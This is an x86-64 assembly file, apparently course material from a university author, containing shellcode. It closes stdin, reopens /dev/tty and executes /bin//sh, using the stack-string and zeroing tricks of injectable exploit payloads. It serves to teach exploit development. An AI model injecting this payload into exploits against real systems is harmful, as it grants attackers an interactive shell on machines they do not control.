###############################################################################
# © Gustavo Romero López 2019 - GPLv3 - gustavo@ugr.es
# gcc -m64 -nostartfiles 55.s -o 55
###############################################################################

.text
	.globl _start

_start:
	xor    %edi, %edi  # 0
	xor    %eax, %eax
	mov    $0x3, %al   # close
	syscall            # close(0)

	xor    %esi, %esi
	mul    %esi
	push   %rax
	mov    $0x7974742f7665642f, %rdi  # "/dev/tty"
	push   %rdi
	push   %rsp
	pop    %rdi
	mov    $0x2, %sil                 # O_RDWR
	mov    $0x2, %al                  # open
	syscall                           # open("/dev/tty", O_RDWR)

	mov $0x3b, %al  # execve
	push   %rdx     # null
	mov    $0x68732f2f6e69622f, %rbx  # "/bin//sh"
	push   %rbx
	push   %rsp
	pop    %rdi     # "/bin//sh"
	push   %rdx
	push   %rdi
	push   %rsp
	pop    %rsi     # {"/bin//sh", null}
	syscall         # execve("/bin//sh", ["/bin//sh", NULL], NULL)
stop: